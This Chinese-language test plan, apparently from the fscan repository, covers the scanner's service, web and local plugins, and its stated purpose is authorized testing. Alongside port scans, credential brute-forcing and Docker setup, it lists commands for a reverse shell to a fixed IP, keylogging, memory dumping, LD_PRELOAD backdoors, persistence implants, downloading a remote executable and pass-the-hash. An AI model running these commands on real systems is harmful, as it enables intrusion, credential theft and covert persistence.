fscan/PLUGIN_TESTING.md
ZacharyZcR 8606af2f32 docs: 添加完整的插件饱和性测试文档
- 覆盖所有47个插件模块的测试方案
- 包含服务插件、Web插件、本地插件三大类测试
- 提供Docker环境快速部署脚本
- 包含性能测试、稳定性测试、安全性测试
- 提供详细的验证标准和测试报告模板
- 涵盖内网渗透、外网侦察、横向移动等实战场景
2025-09-02 02:08:36 +00:00

14 KiB
Raw Permalink Blame History

Fscan 插件饱和性测试文档

概述

本文档用于全面测试Fscan v2.2.1的所有插件模块,确保每个组件都能正常工作。测试分为三大类:服务插件Web插件本地插件


测试环境要求

基础环境

  • Linux/Windows测试环境
  • Docker容器用于快速部署测试服务
  • 网络连接(用于外部服务测试)
  • 管理员权限(用于本地插件测试)

测试目标服务器

建议使用Docker快速部署以下服务

# MySQL
docker run -d -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:5.7

# Redis  
docker run -d -p 6379:6379 redis:alpine

# MongoDB
docker run -d -p 27017:27017 mongo:4.4

# PostgreSQL
docker run -d -p 5432:5432 -e POSTGRES_PASSWORD=postgres postgres:13

# SSH服务
docker run -d -p 2222:22 -e SSH_ENABLE_PASSWORD_AUTH=true linuxserver/openssh-server

# FTP服务
docker run -d -p 21:21 -p 30000-30009:30000-30009 -e FTP_USER=test -e FTP_PASS=test fauria/vsftpd

# SMB/CIFS
docker run -d -p 139:139 -p 445:445 dperson/samba -u "test;test" -s "share;/tmp;yes;no;yes"

1. 服务插件测试 (Services Plugins)

1.1 数据库服务测试

MySQL插件测试

# 基础连接测试
./fscan -h 127.0.0.1:3306 -m mysql

# 暴力破解测试
./fscan -h 127.0.0.1:3306 -user root -pwd "123456,admin,mysql"

# 自定义字典测试
echo "root" > users.txt
echo -e "123456\nadmin\nmysql" > passwords.txt
./fscan -h 127.0.0.1:3306 -userf users.txt -pwdf passwords.txt

验证标准:

  • 能正确识别MySQL服务
  • 能进行版本探测
  • 能执行暴力破解攻击
  • 成功时显示版本信息和权限

PostgreSQL插件测试

# 基础测试
./fscan -h 127.0.0.1:5432 -m postgresql

# 暴力破解
./fscan -h 127.0.0.1:5432 -user postgres -pwd "postgres,admin,123456"

验证标准:

  • 正确识别PostgreSQL服务
  • 显示版本信息
  • 暴力破解功能正常

MongoDB插件测试

# 无认证连接测试
./fscan -h 127.0.0.1:27017 -m mongodb

# 认证连接测试(如果有密码)
./fscan -h 127.0.0.1:27017 -user admin -pwd "admin,mongodb,123456"

验证标准:

  • 检测MongoDB服务
  • 识别未授权访问
  • 显示数据库列表(如果有权限)

MSSQL插件测试

# SQL Server测试需要MSSQL容器
./fscan -h target:1433 -m mssql -user sa -pwd "Password123,admin,sa"

Redis插件测试

# 基础连接测试
./fscan -h 127.0.0.1:6379 -m redis

# 未授权访问测试
./fscan -h 127.0.0.1:6379

# 写入测试(危险操作,仅测试环境)
./fscan -h 127.0.0.1:6379 -rs reverse_shell_command

验证标准:

  • 检测Redis服务
  • 识别未授权访问
  • 能执行info命令
  • 支持写入操作(如果有权限)

Oracle插件测试

# Oracle测试需要Oracle容器
./fscan -h target:1521 -m oracle -user system -pwd "oracle,admin,123456"

1.2 网络服务测试

SSH插件测试

# SSH暴力破解测试
./fscan -h 127.0.0.1:22 -m ssh -user "root,admin,ubuntu" -pwd "123456,admin,root"

# SSH密钥测试
./fscan -h 127.0.0.1:22 -sshkey /path/to/private_key

验证标准:

  • 正确识别SSH服务
  • 显示SSH版本和算法
  • 暴力破解功能正常
  • 支持密钥认证

FTP插件测试

# FTP连接测试
./fscan -h 127.0.0.1:21 -m ftp

# FTP暴力破解
./fscan -h 127.0.0.1:21 -user "ftp,anonymous,admin" -pwd "ftp,123456,admin"

验证标准:

  • 检测FTP服务
  • 支持匿名登录检测
  • 暴力破解功能正常
  • 显示FTP banner信息

Telnet插件测试

# Telnet测试
./fscan -h target:23 -m telnet -user "admin,root" -pwd "admin,123456"

SMB插件测试

# SMB服务探测
./fscan -h 127.0.0.1:445 -m smb

# SMB共享枚举
./fscan -h 127.0.0.1:445 -user guest -pwd ""

# MS17-010漏洞检测
./fscan -h target:445 -m ms17010

验证标准:

  • 检测SMB服务版本
  • 枚举共享目录
  • 检测已知漏洞
  • 显示操作系统信息

SMTP插件测试

# SMTP测试
./fscan -h target:25 -m smtp
./fscan -h target:587 -m smtp

LDAP插件测试

# LDAP连接测试
./fscan -h target:389 -m ldap
./fscan -h target:636 -m ldap  # LDAPS

1.3 专用服务测试

Elasticsearch插件测试

# Elasticsearch测试
./fscan -h 127.0.0.1:9200 -m elasticsearch

Kafka插件测试

# Kafka测试
./fscan -h target:9092 -m kafka

RabbitMQ插件测试

# RabbitMQ管理接口测试
./fscan -h target:15672 -m rabbitmq
./fscan -h target:5672 -m rabbitmq

Memcached插件测试

# Memcached测试
./fscan -h target:11211 -m memcached

Neo4j插件测试

# Neo4j测试
./fscan -h target:7474 -m neo4j
./fscan -h target:7687 -m neo4j

VNC插件测试

# VNC测试
./fscan -h target:5900 -m vnc

RDP插件测试

# RDP连接测试
./fscan -h target:3389 -m rdp

2. Web插件测试 (Web Plugins)

2.1 Web标题获取测试

# HTTP标题获取
./fscan -u "http://www.example.com"
./fscan -u "https://www.example.com"

# 批量URL测试
echo -e "http://www.example.com\nhttps://www.github.com" > urls.txt
./fscan -uf urls.txt

# 端口扫描+Web检测
./fscan -h 127.0.0.1 -p 80,443,8080,8443

验证标准:

  • 正确获取网页标题
  • 显示HTTP状态码
  • 识别Web服务器信息
  • 显示响应长度
  • 支持HTTPS检测

2.2 Web POC扫描测试

# 启用POC扫描
./fscan -u "http://target" -full

# 指定POC名称
./fscan -u "http://target" -pocname "spring,struts"

# 自定义POC路径
./fscan -u "http://target" -pocpath /path/to/pocs/

# 禁用POC对照测试
./fscan -u "http://target" -nopoc

验证标准:

  • 能加载POC规则
  • 正确识别已知漏洞
  • 显示漏洞详细信息
  • POC并发控制正常

2.3 指纹识别测试

# 启用指纹识别
./fscan -u "http://target" -fp

# 指纹+POC组合
./fscan -u "http://target" -fp -full

验证标准:

  • 识别Web应用类型
  • 识别中间件信息
  • 识别CMS类型
  • 识别技术栈

3. 本地插件测试 (Local Plugins)

警告:本地插件测试具有潜在风险,仅在测试环境中执行

3.1 系统信息收集

# 系统信息收集
./fscan -local systeminfo

# 环境变量信息
./fscan -local envinfo

# 文件信息收集
./fscan -local fileinfo

# 域控信息收集
./fscan -local dcinfo

验证标准:

  • 收集操作系统信息
  • 枚举环境变量
  • 查找敏感文件
  • 识别域环境

3.2 服务和进程管理

# Windows服务管理
./fscan -local winservice

# 系统服务管理Linux
./fscan -local systemdservice

# 计划任务Windows
./fscan -local winschtask

# Cron任务Linux
./fscan -local crontask

验证标准:

  • 枚举运行服务
  • 识别计划任务
  • 显示服务详细信息
  • 检测异常服务

3.3 持久化和后门

# Windows启动项
./fscan -local winstartup

# 注册表查询
./fscan -local winregistry

# LD_PRELOAD后门
./fscan -local ldpreload

# Shell环境后门
./fscan -local shellenv

3.4 网络和通信

# 反弹Shell
./fscan -local reverseshell -rsh 192.168.1.100:4444

# 正向Shell服务器
./fscan -local forwardshell -fsh-port 4444

# SOCKS5代理
./fscan -local socks5proxy -start-socks5 1080

3.5 高级功能

# 键盘记录
./fscan -local keylogger -keylog-output keylog.txt

# 内存转储
./fscan -local minidump

# 杀毒软件检测
./fscan -local avdetect

# 系统清理
./fscan -local cleaner

3.6 文件操作

# 文件下载
./fscan -local downloader -download-url "http://example.com/file.exe" -download-path "/tmp/file.exe"

# 持久化文件植入Linux
./fscan -local persistence -persistence-file "/tmp/backdoor.elf"

# 持久化文件植入Windows
./fscan -local persistence -win-pe "C:\\temp\\backdoor.exe"

4. 综合测试场景

4.1 内网渗透场景

# 完整内网扫描
./fscan -h 192.168.1.0/24 -p 21,22,23,80,135,139,443,445,1433,3306,3389,5432

# 禁用ping的扫描
./fscan -h 192.168.1.0/24 -np

# 指定线程数的大规模扫描
./fscan -h 10.0.0.0/16 -t 1000 -mt 100

4.2 外网侦察场景

# 存活探测
./fscan -h target.com -ao

# Web应用测试
./fscan -h target.com -fp -full

# 特定端口扫描
./fscan -h target.com -p 80,443,8080,8443,8888

4.3 横向移动场景

# 凭据重用测试
./fscan -h 192.168.1.0/24 -user administrator -pwd "Password123"

# 哈希传递攻击
./fscan -h 192.168.1.0/24 -hash "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0"

5. 输出和日志测试

5.1 输出格式测试

# 文本格式输出
./fscan -h target -o result.txt -f txt

# JSON格式输出
./fscan -h target -o result.json -f json

# CSV格式输出
./fscan -h target -o result.csv -f csv

# 禁用文件输出
./fscan -h target -no

5.2 日志级别测试

# 详细日志
./fscan -h target -log all

# 仅基础信息
./fscan -h target -log base

# 静默模式
./fscan -h target -silent

# 无颜色输出
./fscan -h target -nocolor

# 无进度条
./fscan -h target -nopg

6. 性能和稳定性测试

6.1 高并发测试

# 最大线程测试
./fscan -h 192.168.1.0/24 -t 2000 -mt 200

# 超时控制测试
./fscan -h target -time 10 -wt 30 -gt 300

# 重试机制测试
./fscan -h unreachable_target -retry 5

6.2 大规模目标测试

# C类网段扫描
./fscan -h 192.168.1.0/24

# B类网段扫描谨慎使用
./fscan -h 10.0.0.0/16 -t 1000

# 文件批量目标
echo -e "192.168.1.1\n192.168.1.2\n192.168.1.3" > targets.txt
./fscan -hf targets.txt

7. 代理和网络测试

7.1 HTTP代理测试

# HTTP代理
./fscan -h target -proxy http://127.0.0.1:8080

# SOCKS5代理
./fscan -h target -socks5 127.0.0.1:1080

# 组合使用
./fscan -u "http://target" -proxy http://proxy:8080 -cookie "session=abc123"

7.2 DNS和网络配置

# DNS日志记录
./fscan -h target.com -dns

# 用户代理自定义
./fscan -u "http://target" -cookie "custom=value"

# 域环境扫描
./fscan -h target -domain corp.local

8. 错误处理和边界测试

8.1 错误输入测试

# 无效目标
./fscan -h "invalid_host"

# 无效端口
./fscan -h 127.0.0.1 -p 99999

# 无效插件
./fscan -h 127.0.0.1 -m nonexistent_plugin

# 无效文件路径
./fscan -hf /nonexistent/file.txt

8.2 资源限制测试

# 内存使用测试(大目标列表)
./fscan -h 0.0.0.0/0 -ao  # 不要真的运行这个

# 磁盘空间测试(大输出文件)
./fscan -h large_network -o /tmp/large_result.txt

9. 验证清单

9.1 功能完整性检查

  • 所有服务插件都能正常加载和执行
  • Web插件能正确处理HTTP/HTTPS协议
  • 本地插件能在对应操作系统上正常运行
  • 输出格式正确且完整
  • 日志记录准确无误

9.2 稳定性检查

  • 长时间运行无内存泄漏
  • 高并发场景下无崩溃
  • 网络异常时能优雅处理
  • 错误输入不会导致程序异常退出

9.3 安全性检查

  • 本地插件不会误伤测试环境
  • 网络扫描遵循配置的限制
  • 敏感信息正确处理(不明文显示密码等)
  • 代理配置正确工作

10. 测试报告模板

测试执行记录

测试日期____________________
测试环境____________________
Fscan版本____________________
Go版本______________________

插件测试结果:
□ 服务插件 (____/25 通过)
□ Web插件 (____/2 通过) 
□ 本地插件 (____/20 通过)

性能测试结果:
□ 并发性能测试通过
□ 内存使用测试通过
□ 网络异常处理测试通过

发现的问题:
1. ________________________
2. ________________________
3. ________________________

测试建议:
1. ________________________
2. ________________________
3. ________________________

测试人员签名____________________

附录

A. Docker测试环境快速部署脚本

#!/bin/bash
# 快速部署测试服务脚本
echo "部署MySQL..."
docker run -d --name mysql-test -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:5.7

echo "部署Redis..."
docker run -d --name redis-test -p 6379:6379 redis:alpine

echo "部署PostgreSQL..."
docker run -d --name postgres-test -p 5432:5432 -e POSTGRES_PASSWORD=postgres postgres:13

echo "部署SSH..."
docker run -d --name ssh-test -p 2222:22 -e SSH_ENABLE_PASSWORD_AUTH=true linuxserver/openssh-server

echo "测试服务部署完成!"

B. 清理测试环境脚本

#!/bin/bash
# 清理测试容器
docker stop mysql-test redis-test postgres-test ssh-test
docker rm mysql-test redis-test postgres-test ssh-test
rm -f result.* *.txt *.json *.csv keylog.txt
echo "测试环境清理完成!"

C. 常用测试命令备忘

# 快速本地服务扫描
./fscan -h 127.0.0.1 -p 21,22,80,135,139,443,445,1433,3306,3389,5432,6379

# 完整功能测试
./fscan -h 127.0.0.1 -fp -full -log all

# 性能基准测试
time ./fscan -h 192.168.1.0/24 -t 500

注意事项:

  1. 本测试文档仅用于授权的安全测试环境
  2. 禁止在生产环境或未授权系统上执行测试
  3. 部分本地插件可能需要管理员权限
  4. 测试过程中请备份重要数据
  5. 如发现安全漏洞,请负责任地披露

版本: v1.0
更新日期: 2025-09-02
适用于: Fscan v2.2.1